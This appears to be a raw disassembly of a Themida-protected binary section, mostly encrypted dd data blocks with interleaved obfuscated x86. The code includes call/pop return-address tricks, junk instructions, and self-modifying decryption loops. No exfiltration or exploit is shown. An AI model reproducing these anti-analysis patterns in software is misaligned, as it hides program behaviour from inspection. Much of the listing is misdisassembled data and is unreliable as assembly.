		dd 8D07D126h, 0D835C58Dh, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 7867FE89h
		dd 0FA06BA66h, 1B518D89h, 858B07D1h, 7D12F3Dh, 2D5585C7h
		dd 6D2407D1h, 81660000h, 0C7AC1DE8h, 0D11D3985h, 7, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 7DBD29FDh, 0FF07D10Ch, 0D12445B5h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 0FE26DA98h, 8B662166h, 195FFF1h, 6A07D118h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 71C5C351h, 51B89698h, 95FF006Ah, 7D10055h, 2DEBC08Bh
		dd 7E265A71h, 7BE97990h, 442EE4CCh, 0D5C681F2h,	5AA0DA9Ah
		dd 9D4E5BAFh, 87FA5F8Ch, 41550EC8h, 545263DEh, 0E728448Ch
		dd 0E528C2A3h, 0E28D8D02h, 6A07D836h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 6D3AC357h
		dd 78A66ECEh, 8D8939E6h, 7D11B51h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 22C35141h, 0D12C9C3Eh, 66F88B7Fh
		dd 85C7F28Bh, 7D12D55h,	6FACh, 1A21BD89h, 85C707D1h, 7D11D39h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5F9CAF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F9CAF	proc near		; CODE XREF: Themida_:005F9CA7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5F9CAF	endp

; ---------------------------------------------------------------------------
		db 35h
		dd 0BDE8C06Ch, 0DE8A223h, 0C4000000h, 7FA0E556h, 6156E8D3h
		dd 8AE8F74Dh, 6E9h, 37CF700h, 5E327B87h, 1529B5FFh, 0BF0F07D1h
		dd 195FFD0h, 6A07D118h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0E25C357h, 897CCBE8h
		dd 0D1177D85h, 0FF006A07h, 0D1005595h, 0EBC08B07h, 4FF3191Dh
		dd 8D036271h, 488C1809h, 22B6DE4Ah, 0ECF10F7Bh,	79C878Eh
		dd 45E1FC5Ch, 8D8D3BF3h, 7D837FCh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0E2C35242h,	1B518D89h, 0DE807D1h
		dd 0C000000h, 388473AEh, 5C05484Dh, 802BE6FAh, 31659D8Bh
		dd 0C75A07D1h, 0D12D5585h, 6B9807h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0FCE283C2h
		dd 2AE3680Fh, 0C68166F3h, 85C76A36h, 7D11D39h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5F9DCB
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F9DCB	proc near		; CODE XREF: Themida_:005F9DC3p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5F9DCB	endp

; ---------------------------------------------------------------------------
		db 0ADh
		dd 0BEBA6C47h, 0B5FFD33Bh, 7D12DC1h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0BC35646h, 0B70F6D8Ch, 195FFD7h
		dd 6A07D118h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 49BBC355h, 0A74D1187h,	6AF38B66h
		dd 5595FF00h, 8B07D100h, 497EEBC0h, 0D7ED8257h,	5EB11814h
		dd 0B2A8B1Dh, 0D4F147F8h, 0D2BA1877h, 89139C53h, 99D673A0h
		dd 5941D68Bh, 142982FBh, 0A7AA96BAh, 0C203C98Ch, 0BFB5048h
		dd 0C9A671CBh, 60B08A95h, 0EBD71A29h, 35782B3Eh, 0A9C7421Eh
		dd 27FE49B0h, 1DC50D3h,	0D1C4D97Eh, 32498C27h, 0C5EEA11Eh
		dd 3607663Ch, 0E97CE55Ah, 228B9500h, 14FF747Eh,	19A314A0h
		dd 0CC1FF6ECh, 1CA60A48h, 43F0B2C5h, 81BB870h, 11E818h
		dd 0FF120000h, 0CBD5D162h, 0D70FB1CBh, 3E22CB86h, 0E9D12C9Ch
		dd 7, 0DA5D4C54h, 5EDE46E9h, 19850951h,	5807D110h, 701AC681h
		dd 0D8810000h, 7C4E6031h, 1BD5BAh, 0DE800h, 0ADA80000h
		dd 0A2B8315Dh, 7F8D51ECh, 57BEBFA6h, 36FF5858h,	6983BF66h
		dd 0F595295Bh, 8107D101h, 45B7ADF3h, 7D8D337Bh,	8107D10Ch
		dd 0BAEECEEBh, 6890F66h, 8B000000h, 0D131E1BDh,	0AEF38107h
		dd 0F30614Dh, 58Eh, 0BF0F5600h,	665359C2h, 68FC88Bh, 68C0Fh
		dd 0C7810000h, 610E6128h, 0F904EE83h, 0F01EA83h, 1685h
		dd 6E800h, 81920000h, 0CA253266h, 12E958h, 61AF0000h, 66FA0AA4h
		dd 87E9F98Bh, 0EFFFFFFh, 4AC6CC9Dh, 21E9h, 38858A00h, 7Ch
		dd 6 dup(0)
		dd 10E90000h, 0A8000005h, 907D0AF6h, 7E6BF8F4h,	6D5AE719h
		dd 5643D02Eh, 742FBC34h, 0E9078329h, 0D6146F5Ch, 0C13F5C49h
		dd 0AB494734h, 0D3907C1Eh, 1A00ED9Ah, 2164422Ah, 0B3A08563h
		dd 9F8C19D7h, 0EB4336E1h, 0AF725863h, 9B3217D5h, 1D816D04h
		dd 0D3C6DDEEh, 7823F330h, 0A769EC50h, 0AD4B4936h, 4C4C391Eh
		dd 0BADECBB0h, 0C3F65A46h, 0E72E3AEh, 0BEAB901Fh, 523F24DCh
		dd 6CD0B533h, 80F5039Dh, 0FDA8F174h, 56016D0Eh,	7E1070A7h
		dd 68FFE41Ch, 3A5744D1h, 40C3AA67h, 6A011229h, 9BFAE7D3h
		dd 5441CE5Dh, 0E7D4B937h, 76624EACh, 2940B4B9h,	0EA791012h
		dd 42B15C05h, 0BBDACECBh, 2AC1583Dh, 14D0B09Dh,	40F8722Fh
		dd 0E1CD1229h, 0C85795F4h, 4C38EE1Dh, 2940DE8Fh, 0C04FE612h
		dd 0CDC26649h, 677739h,	9E8B0000h, 861D02FEh, 632119F7h
		dd 0B4FA7330h, 5821228h, 0CA6F06EBh, 98ECF33h, 0A559FEE6h
		dd 503D290Eh, 6C29B834h, 12292FFFh, 0ABEC1BC6h,	39CDB104h
		dd 1D9h, 6721FB00h, 0D0B09D89h,	0B3A08514h, 49361BD1h
		dd 5BC7AC4Ah, 0A7C6836Fh, 1D1228B4h, 0B4F97431h, 34CB1228h
		dd 0B4630E9Dh, 58E51B7Dh, 42CF2D6Bh, 87612164h,	0C7D3B5A2h
		dd 0B3982FCDh, 968D7C27h, 826FFCF4h, 96FAE602h,	0EF2A3C4Ch
		dd 4025B452h, 0D7BC3253h, 6A4FA9EAh, 0FEE31D7Dh, 0C57BAA55h
		dd 291C6508h, 31C85F12h, 8405F49Fh, 39CD9C3Bh, 4FC2h, 6121E400h
		dd 0D0B5A287h, 22CD391Eh, 35503DF3h, 5F3B28B7h,	6B2714A1h
		dd 0DCBBA88Dh, 0FCA7391Eh, 34338C0Dh, 59CA39CDh, 0EC000000h
		dd 0A2876121h, 2CCAC9B6h, 0C0D3B09Dh, 28B46A03h, 2CC35A12h
		dd 0B7355340h, 0C7AC3BD2h, 0ED24D37Eh, 0E8C653ADh, 0A4896721h
		dd 2ECCCBB8h, 0B488E29Fh, 513D1228h, 0D20BC2EDh, 0F9E06F5h
		dd 0BBF4B564h, 2239CD93h, 10h, 0B24C4936h, 8D4A36CDh, 122906E0h
		dd 0E0BE4DE4h, 9E8A6421h, 0B478F5B2h, 0B54C1228h, 9D2CC8C8h
		dd 2FCDCBB8h, 7F6A14Ah,	8D797710h, 1E03E1A0h, 0B3985631h
		dd 69F6851Ch, 5E4AAFDBh, 0F9CA0DA1h, 3B20B719h,	395C4E4Eh
		dd 0B047DEC3h, 9A563623h, 27C1C1AEh, 0BA345542h, 18A73ED5h
		dd 0C9F57633h, 0E8719F9h, 791E0BF0h, 0AE59A287h, 0E9D51E7Fh
		dd 4E0B9CFCh, 19F9CA1Fh, 92770EA5h, 0C984E9A6h,	0A94019F9h
		dd 29D88312h, 0C95692F2h, 5B40BCDCh, 0EDD22E6Eh, 0A887561h
		dd 0E37209EEh, 6653C938h, 51E8CD23h, 24E4B0EDh,	800FD240h
		dd 6AF7F593h, 9E36BCF3h, 12E2141h, 22430000h, 0B4F47936h
		dd 0E4D01228h, 28B54627h, 50E77E12h, 0FD5B95ECh, 21B03CF3h
		dd 1602E793h, 0A35D3D2Ah, 0DB9827BEh, 19FA9C13h, 412E1AB1h
		dd 3015A442h, 1AA74543h, 0A5916F2Dh, 9120DCB8h,	23C1BFACh
		dd 0B34D4A37h, 0C3A837CEh, 0A69D8C37h, 67D0AE6h, 419F1CA9h
		dd 4B34h, 385B4800h, 0B746DDC2h, 0EE1580D9h, 0B5084502h
		dd 25BC9228h, 0B4EA8340h, 0FEA99228h, 8F0C770Fh, 7A11F6F4h
		dd 1E0BF7E3h, 69D827Eh,	0B493BA77h, 86EA1228h, 7A2082A6h
		dd 503421B2h, 0D1680D9Ch, 2E6B5844h, 89C941D0h,	0EB000000h
		dd 3EF1280h, 926E2A17h,	0CA8716ADh, 19F9E6B0h, 0AB987D14h
		dd 1FD9B9EDh, 0D4AF9C88h, 0DFA8716h, 0CF8C718Fh, 19F9E799h
		dd 6348A6E3h, 77BB5FFFh, 0C6B3D8CEh, 492EC2h, 7CC5A655h
		dd 0ADEB22D1h, 6FF634Fh, 23B9BEBEh, 0C04EDB6Ah,	57432FD2h
		dd 0FA8ED39Ah, 0CB5AF119h, 0C89A22DFh, 932A21D2h, 0B2D5C2AEh
		dd 0C0C0AD3Ch, 0EB963F24h, 0D336643Ch, 2922AE7h, 87EB29ABh
		dd 2B7C7154h, 24C958C3h, 0D0B4A18Dh, 22008D1Ch,	0FB991280h
		dd 8E7A66FDh, 0B488E5A2h, 4F7D1228h, 38BE674Ah,	18A73EE3h
		dd 1BE615Bh, 9BB81C1Ah,	3990B347h, 5C49EE7Dh, 76DABF3Dh
		dd 0E2E48DC2h, 831AB1A3h, 0C4C5B29Eh, 0EEAE9B2Ah, 0F8988512h
		dd 372410FCh, 8DE09D5Bh, 371A01F5h, 6F2C11A0h, 95E2B166h
		dd 63DEC97h, 0F0DD6A86h, 826F5490h, 5700E503h, 0C6C67DACh
		dd 5439B7D4h, 0AC9926BDh, 0C02410ECh, 2D0409CAh, 0FEE37244h
		dd 386h, 0E4C2A800h, 9E837D21h,	3015D3B1h, 0C3A84643h
		dd 583DB3D6h, 0ECD12F6Bh, 806583FFh, 11F6F493h,	0A88D6324h
		dd 3E23D9BBh
		db 6Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	3F0Eh
		mov	[esp], ebp
		push	7D83979h
		mov	edx, [esp]
		add	esp, 4
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	0C5Fh
		mov	[esp], edx
		pop	dword ptr [ebp+8]
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		dd 0A959EFB9h, 76994B62h, 94FEE49Ch, 0B8DE99A3h, 7D83E07h
		dd 0E0FFC503h, 1F42E0A7h, 1F79F23Ch, 6A5F2548h,	3DD78B9Ah
		dd 2A0018DFh, 2117C0B6h, 4BAB2AB1h, 6019A00Ch, 4DF4BC61h
		dd 0B10972Bh, 2BBBBF65h, 4B09FAB2h, 26EA5F50h, 7D8D6C45h
		dd 670C14FCh, 3EF915B8h, 4341A6C7h, 81E517Fh, 27C86630h
		dd 2AC2549Dh, 0D5CBE4Eh, 0EE8h,	51B2CC00h, 0C40E09DBh
		dd 2E818A0Ch, 0B10A859Fh, 8E95B62h, 7C000000h, 69F6BECFh
		dd 8133D378h, 6E83C3h, 58E0F00h, 66000000h, 56B1C881h
		dd 1B6A68h, 0C1B70F00h,	0FFCF8B5Eh, 17B86633h, 81665A72h
		dd 810905E8h, 0A9A93AC2h, 8B666004h, 58D0FFBh, 66000000h
		dd 44C4F681h, 0EAC28161h, 0B81C084Dh, 5F5EAAB3h, 9D2AF281h
		dd 66600BEFh, 5261D38Bh, 10E8h,	8F768A00h, 61BBE5F3h, 0C2C81B78h
		dd 0EAF28F8Fh, 8F59F992h, 0DF816603h, 0EB81C72Ah, 11DCD0A6h
		dd 0DE9h, 0B0280700h, 5C40023Eh, 1BE3A7E7h, 0C381A1B5h
		dd 11DCD0A2h, 22F78166h, 1EE83B3h, 10850Fh, 0C7810000h
		dd 9E15289h, 17E9h, 0F21C300h, 0E1B0ECC7h, 0FFFF66E9h
		dd 0BCB8BBFFh, 9C3FB2DAh, 97F28A5Fh, 403E8D8Dh,	0D98B07D8h
		dd 1B518D89h, 7E907D1h,	15000000h, 0AE0E5344h, 85C772FDh
		dd 7D12D55h, 6E6Ch, 85C7F88Ah, 7D11D39h, 0
; ---------------------------------------------------------------------------
		mov	esi, [ebp+7D11819h]
		push	dword ptr [ebp+7D11C75h]
		push	0
		push	ebp
		call	sub_5FA64F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FA64F	proc near		; CODE XREF: Themida_:005FA647p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5FA64F	endp

; ---------------------------------------------------------------------------
		cmp	ah, bh
		cmp	eax, 0E195095Dh
		sub	ecx, edx
		pop	es
		call	dword ptr [ebp+7D11801h]
		add	[ebp+7D120E1h],	ecx
		push	0
		call	dword ptr [ebp+7D10055h]
		mov	eax, eax
		jmp	short loc_5FA68B
; ---------------------------------------------------------------------------
		db 0E9h, 19h, 7Ah
; ---------------------------------------------------------------------------
		retn	4659h
; ---------------------------------------------------------------------------
		db 4Eh
		db 62h,	8Ah, 87h
; ---------------------------------------------------------------------------


loc_5FA68B:				; CODE XREF: Themida_:005FA67Fj
		call	near ptr sub_5FA69A
		db	26h
		xchg	eax, edi
; ---------------------------------------------------------------------------
		dw 65FEh
		dd 799EDCD7h
		db 7Fh,	0F2h

; =============== S U B	R O U T	I N E =======================================



sub_5FA69A	proc far		; CODE XREF: Themida_:loc_5FA68Bp
		pusha
		mov	ah, 14h
		or	eax, 63CA69F9h
		popa
		pop	esi
		movzx	ebx, cx
		add	esi, 5EA6h
		mov	bh, 73h
		mov	ecx, 4FD3A2D5h
		add	ecx, 0B02C74ACh
		add	bl, 6Fh


loc_5FA6BE:				; CODE XREF: sub_5FA69A+89j
		push	dword ptr [esi]
		jnz	loc_5FA6CC
		mov	[ebp+7D130EDh],	esi


loc_5FA6CC:				; CODE XREF: sub_5FA69A+26j
		pop	eax
		mov	bh, 85h
		xor	eax, 42815281h
		mov	dl, bl
		sub	eax, 2FEC667Ah
		jle	loc_5FA6E6
		sbb	dl, 1Eh


loc_5FA6E6:				; CODE XREF: sub_5FA69A+43j
		xor	eax, 4C00FD9Ah
		or	edx, [ebp+7D11461h]
		mov	[esi], eax
		mov	[ebp+7D117CDh],	edx
		sub	esi, 4
		mov	bx, si
		sub	ecx, 1
		jnz	loc_5FA71D
		mov	[ebp+7D101FDh],	edi
		jmp	loc_5FA736
; ---------------------------------------------------------------------------
		dd 8F3E6714h, 6FE39B2Bh
		db 72h
; ---------------------------------------------------------------------------


loc_5FA71D:				; CODE XREF: sub_5FA69A+69j
		mov	[ebp+7D1204Dh],	eax
		jmp	loc_5FA6BE
; ---------------------------------------------------------------------------
		push	ecx
		and	[ecx], bl
		mov	bl, 0D6h
		fldlg2
		mov	dh, 0F0h
		pop	es
		push	eax
		add	[edx], dh
		dec	edi


loc_5FA736:				; CODE XREF: sub_5FA69A+75j
		call	sub_5FA74E
		cld
		retf
sub_5FA69A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h,	10h, 28h
		dd 0E609F23h, 7F4DF9BDh, 9CE95066h
		db 0C1h, 70h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5FA74E	proc near		; CODE XREF: sub_5FA69A:loc_5FA736p
		jmp	sub_5FA765
sub_5FA74E	endp

; ---------------------------------------------------------------------------
		db 2Ch
		dd 0DE782ED0h, 4C1E854h, 8AF41A34h, 0DD3D7CF9h
; ---------------------------------------------------------------------------
		push	edx

; =============== S U B	R O U T	I N E =======================================



sub_5FA765	proc near		; CODE XREF: sub_5FA74Ej
		pop	esi
		xor	bx, 65Fh
		add	esi, 711Ah
		jge	loc_5FA77D
		mov	edi, [ebp+7D10189h]


loc_5FA77D:				; CODE XREF: sub_5FA765+Cj
		mov	edx, 0DB353CBh
		add	edx, 0F24CC847h
		mov	[ebp+7D13255h],	ebx


loc_5FA78E:				; CODE XREF: sub_5FA765+9Ej
		mov	eax, [esi]
		mov	bx, di
		sub	eax, 1F7A6A9Eh
		pusha
		mov	esi, [ebp+7D12A99h]
		and	ebx, 4A8773E1h
		popa
		xor	eax, 0D078FDCh	; CODE XREF: sub_5FA765+B5j
		mov	edi, [ebp+7D1235Dh]
		xor	eax, 77E9DA97h
		mov	edi, 396BD68Eh
		push	eax
		mov	ecx, [ebp+7D10661h]
		pop	dword ptr [esi]
		mov	bx, 0EF41h
		sub	esi, 4
		add	bx, 0EC6h
		dec	edx
		jnz	loc_5FA7EE
		clc
		jmp	loc_5FA811
; ---------------------------------------------------------------------------
		dd 4D68E934h, 66C229F8h, 8878A87Dh
		db 7Eh,	82h
; ---------------------------------------------------------------------------


loc_5FA7EE:				; CODE XREF: sub_5FA765+6Fj
		push	edx
		jmp	loc_5FA802
; ---------------------------------------------------------------------------
		dd 0DE08B43h, 3689C167h, 0B8F90E64h
; ---------------------------------------------------------------------------
		fcmovb	st, st(6)


loc_5FA802:				; CODE XREF: sub_5FA765+8Aj
		pop	edi
		jmp	loc_5FA78E
; ---------------------------------------------------------------------------
		dd 1F24A56Ah, 2792972Ah
		db 0F7h
; ---------------------------------------------------------------------------


loc_5FA811:				; CODE XREF: sub_5FA765+76j
		call	loc_5FA82A
		or	[ebp-7Ch], ch
		jp	short near ptr loc_5FA7A7+4
		aaa
		add	al, 52h
		pop	edi
		mov	al, ds:7E057269h
		cmc
		jle	short near ptr loc_5FA88C+1
		push	edi
		push	cs
sub_5FA765	endp ; sp-analysis failed



loc_5FA82A:				; CODE XREF: sub_5FA765:loc_5FA811p
		jge	loc_5FA835
		xor	di, 0CCE2h


loc_5FA835:				; CODE XREF: Themida_:loc_5FA82Aj
		pop	ebx
		push	eax
		pop	edi
		add	ebx, 5E17h
		pusha
		mov	edx, [ebp+7D12E69h]
		add	bh, 0F7h
		popa
		mov	esi, 266FBFCFh
		sub	esi, 266FA874h


loc_5FA854:				; CODE XREF: Themida_:005FA8B5j
		mov	ecx, [ebx]
		jmp	loc_5FA86E
; ---------------------------------------------------------------------------
		db 5Fh
		dd 61D8CA2Ch, 9E772A7Fh, 5EF71322h, 6CD62C0Bh
; ---------------------------------------------------------------------------
		pop	ebx
		push	ebp


loc_5FA86E:				; CODE XREF: Themida_:005FA856j
		sub	ecx, 2D1B788Fh
		xor	[ebp+7D11BF9h],	esi
		sub	ecx, 5DF561E7h
		mov	eax, [ebp+7D115BDh]
		xor	ecx, 79636EE0h


loc_5FA88C:				; CODE XREF: sub_5FA765+C1j
		add	[ebp+7D1107Dh],	edx
		push	ecx
		mov	edx, [ebp+7D131A9h]
		pop	dword ptr [ebx]
		jl	loc_5FA8A6
		and	dx, 0B952h


loc_5FA8A6:				; CODE XREF: Themida_:005FA89Bj
		sub	ebx, 4
		mov	[ebp+7D12C79h],	eax ; CODE XREF: Themida_:005FA8CCj
		sub	esi, 1
		jnz	loc_5FA854
		jnb	loc_5FA8C5
		mov	di, 0FE8Ah


loc_5FA8C5:				; CODE XREF: Themida_:005FA8BBj
		xor	byte ptr [ebp-60h], 89h
		or	[ecx+14h], ch
		js	short near ptr loc_5FA8A9+1
		cmpsb
		lea	edx, [edi-79C80BA4h]
		mov	eax, cs:25908635h
; ---------------------------------------------------------------------------
		db 0D9h
		dd 3025480Ah, 182C9905h, 3F251557h, 30257602h, 0B9980786h
		dd 3022939Ch, 3057A589h, 0B5E39086h, 37F47933h,	0BABA4CC8h
		dd 4A48B47h, 0B378D6A2h, 39907BB7h, 0BD2293AEh,	0E483CB03h
		dd 0BBF56F81h, 85A08E76h, 7E22F5B7h, 7CF89EEEh,	1411882Bh
		dd 352B8E4Ah, 2AACF779h, 0B5A82657h, 37F1366Ch,	0C8AE9879h
		dd 3025343Fh, 302DFB86h, 3F830986h, 30258A03h, 0F92E0B86h
		dd 0CFD5A489h, 3DCC6F79h, 0BD254886h, 0E1682E1Bh, 3020AA81h
		dd 0D3DA0986h, 72A2390Bh, 0BDA8455Eh, 37FD62C2h, 823Eh
		dd 0F1EA6300h, 0A075826Fh, 14690889h, 8DA6DC78h, 37F45C97h
		dd 35A12E86h, 0D9259086h, 3025480Ah, 0E9839905h, 0B9A4F305h
		dd 22h,	10E8h, 93204B00h, 0DBECCC03h, 1673609Ah, 7B14B8E3h
		dd 6810F09h, 23000000h,	0D10EE985h, 0BB665A07h,	0C281F9A7h
		dd 7380h, 0EE8h, 4D1D4000h, 0E757545Bh,	913EB178h, 8B942670h
		dd 0D12B6DBDh, 0B7685807h, 0FC00001Ch, 0FFFE8B59h, 5E40B732h
		dd 61EFBB60h, 890F526Fh, 6, 1C6D8D89h, 816107D1h, 461059EEh
		dd 0C1858B3Dh, 8107D11Ch, 0E9A004C6h, 419D8B48h, 8107D12Ch
		dd 32498CEEh, 8B666028h, 0F3B6B8F0h, 8961195Dh,	898D8932h
		dd 8307D131h, 9D8904EAh, 7D12811h, 0A8850F49h, 31FFFFFFh
		dd 0D1181D8Dh, 28E907h,	81790000h, 5DEFh, 8 dup(0)
		dd 0C9E90000h, 0D8000008h, 0C0AD3AA6h, 0AE9B28C4h, 9D8A17E9h
		dd 867300FEh, 0A45FEC04h, 19D7B3F9h, 6E49F8Ch, 0F10F8C79h
		dd 0DB197764h, 3C0AC4Eh, 1A00F86Ah, 5194725Ah, 1228B519h
		dd 3AC72563h, 2F1BFEACh, 3A191ACBh, 8B1AA161h, 0B134E29Fh
		dd 0F99019FAh, 8765200Dh, 977C0BA2h, 6B02BFABh,	5919FAB0h
		dd 444633C2h, 24BB3556h, 0EEAAA97h, 0A05C3C29h,	95842FBBh
		dd 9B35FE9Eh, 0ED31BB12h, 7F6B57EEh, 0F9B7ABC2h, 0F3821919h
		dd 38C0EF66h, 1704419Eh, 8D6B2A7Eh, 629467F6h, 0B6000000h
		dd 0A2876121h, 0C3C5D5B5h, 1AB1482Dh, 0FFEA935h, 0F17E7A18h
		dd 0CD32357Ah, 43A839h,	0CFBC0000h, 0B74E33B1h,	61214A28h
		dd 85425131h, 1228B4E8h, 17AE45DCh, 0FEDDC72Bh,	0A6ABFDF5h
		dd 0C0078642h, 9C2B1364h, 0B570FAB7h, 0FFAA1228h, 7F791910h
		dd 367AF2h, 0A18E0000h,	8D2409E7h, 7908E4A0h, 3161219Bh
		dd 1EB59A54h, 0A0379B87h, 8B6A885Bh, 0BDA231h, 1229366Bh
		dd 241B0AB5h, 752ABD66h, 2E70181h, 6D72076Bh, 25039027h
		dd 9B553522h, 0ED0C7E0Ch, 0E86A4401h, 0C35A19F9h, 5A94F1DEh
		dd 38F5E1CDh, 19F9E935h, 8E0BF88Fh, 65F48B70h, 0F5E11F78h
		dd 0E9214C09h, 0CA319F9h, 980A987Dh, 0E3A08D79h, 0FA892005h
		dd 1689510Eh, 7F421CBh,	0F1886D8Bh, 4126BD62h, 73EED98h
		dd 2084708Eh, 70FF9707h, 0F9861581h, 90758B0Ch,	72FBB8A4h
		dd 5221CB27h, 0E6F2CBBh, 8521CB28h, 0DB893599h,	113A50ADh
		dd 8D6689ADh, 0A02F4F72h, 760F06F5h, 220DEB78h,	0B4995735h
		dd 392F6150h, 79EA6E5h,	53B2EA78h, 5E710367h, 6C89C751h
		dd 4B29FFDDh, 99856321h, 66634E35h, 6BFA91A9h, 97A3818Dh
		dd 3CCD2A28h, 55D5h, 1880F700h,	98FCF293h, 0CC6F1987h
		dd 2E1AB12Dh, 0C2A74141h, 22BE9C2Bh, 28B50865h,	0CC897512h
		dd 1228B4A1h, 0E49F8C23h, 3BD27706h, 2144225Dh,	9EAC8A64h
		dd 573522C0h, 0B39CBCCh, 5AF16BACh, 0D74FDE75h,	36h, 2B42FFEBh
		dd 9912293Eh, 7C721502h, 18800FEDh, 65220BE9h, 1228B508h
		dd 5B5D3CA0h, 54E82F75h, 3622DFBDh, 0C9AE4849h,	21C5A332h
		dd 22AC8A64h, 0F9E5035h, 6321C19Fh, 0A9474330h,	28B481ECh
		dd 15AC4312h, 36687330h, 0EA95122Dh, 6884043Bh,	87ACEEDBh
		dd 0C8389290h, 3318AFFDh, 9A574446h, 122CC7D3h,	670CEAA9h
		dd 46A4E3D0h, 4E33CA61h, 0DFC42261h, 715692F2h,	8DEE1DC8h
		dd 3C291501h, 28BFA458h, 2CC8026Bh, 9C2BC212h, 0A80C02F1h
		dd 8F6751Ch, 8866256Ah,	157562F1h, 0A392330Eh, 0F9900FC3h
		dd 0BABAF56Ch, 3F2339D1h, 37000000h, 2DDF8E4Bh,	4EE5122Dh
		dd 6321E1BFh, 0C8B4A085h, 28B4620Bh, 3CCB6212h,	311DFCAEh
		dd 0F9E3DE74h, 6A4FE619h, 6DA453FEh, 0F9E5D12Fh, 0F9E4313Ch
		dd 0DE8F4C19h, 0E619F9E3h, 8413AA4Fh, 632119F7h, 6012A085h
		dd 0F6D89581h, 0CE19F9CFh, 0DFBDAA37h, 4F483521h, 803D22B1h
		dd 9E6C3A0Ch, 0EFD41070h, 83688002h, 66DD4CF7h,	0C935CC24h
		dd 3934F1DDh, 449E6C3Ah, 6C39E687h, 0A247DE9Eh,	827E1E0Bh
		dd 0CC77069Dh, 4AA6E65Dh, 0A0E4D1BDh, 0CAA3604Ch, 0FA9E6C39h
		dd 0A9E7D463h, 0AAD8664Bh, 68F75B47h, 9C9A4082h, 0B8F41D81h
		dd 92F4CDE0h, 0C72B1703h, 0D6D16CF9h, 2FEC7B50h, 0A63D86EBh
		dd 0D7B542D9h, 0FDE91880h, 0B5195411h, 0BFAB1228h, 28B46B02h
		dd 2BC25912h, 4B29BE9Ch, 9D533522h, 0A59221B8h,	301D09E7h
		dd 1DB49957h, 0A381B08Eh, 9E503522h, 2A27980Fh,	48D63CCDh
		dd 0F8000000h, 2E1C1880h, 0E5037F34h, 3B79E81h,	9A7F7116h
		dd 93806C03h, 7A11F6F4h, 65220DEBh, 1228B508h, 224725BCh
		dd 0FC33D236h, 655A388Bh, 2925C5A8h, 0D968FF12h, 64210FEDh
		dd 3522AC8Ah, 9B0B9A54h, 1B96BDh, 80B80000h, 220BE918h
		dd 28B50865h, 2B09A012h, 64214422h, 3522AC8Ah, 9F0F9E50h
		dd 856321C1h, 35F8E3A0h, 5A05122Dh, 0B1474ABh, 0E4A0FBA9h
		dd 7993A408h, 0B7355340h, 0E4A69320h, 7734200Ch, 122D44F6h
		dd 0C3A837CEh, 573CB4D6h, 0E8CD2B6Ah, 74919CFBh, 0CCC050A6h
		dd 7FEBD067h, 0B84425D4h, 6B271E0Dh, 2689008Dh,	0B739D139h
		dd 22h,	856321D9h, 816012A0h, 0E6A2D895h, 8B2219F9h, 608F3AA6h
		dd 2DD646AAh, 21877AF0h, 9E7A592h, 63219E7Ch, 89359985h
		dd 1F95AD88h, 4CDABF4Eh, 0E3CFBB5Eh, 0CA5997F6h, 0F9F0B50Dh
		dd 0BC64C819h, 0D9D9164Fh, 0BF56FB8Ah, 18805432h, 7510FDE9h
		dd 220AE877h, 4DC969BEh, 0FE8D2094h, 63213B19h,	0A381A785h
		dd 0CD2A2897h, 4CD53Ch,	85E90000h, 187D97CEh, 56CF82E6h
		dd 226745D4h, 0ED55C9BEh, 3623527Eh, 20B79C54h,	6C9D0391h
		dd 865228Eh, 0BC1228B5h, 36224725h, 3D4161D2h, 12A103E0h
		dd 50352234h, 65220F9Eh, 0B4F47936h, 39D01228h,	0C09EC4A2h
		dd 3D96h, 1880B800h, 7410FDE9h,	98FC9378h, 400D016h, 1EFC8BCFh
		dd 0B5086522h, 9A01228h, 5335222Bh, 0B4E28B48h,	4BE21228h
		dd 0A938CFB4h, 6421DFBDh, 0B4995734h, 4A2FCDC7h, 0A7851CB3h
		dd 6321C09Eh, 67359985h, 53763F82h, 9128C6C5h, 7B601D02h
		dd 82122DB0h, 0DEBA996h, 0ED24D37Eh, 0D7C451AFh, 634F3BB9h
		dd 2DB0C7A6h, 0D766FD12h, 0D33664F2h, 0C7E02AE7h, 4DE419FEh
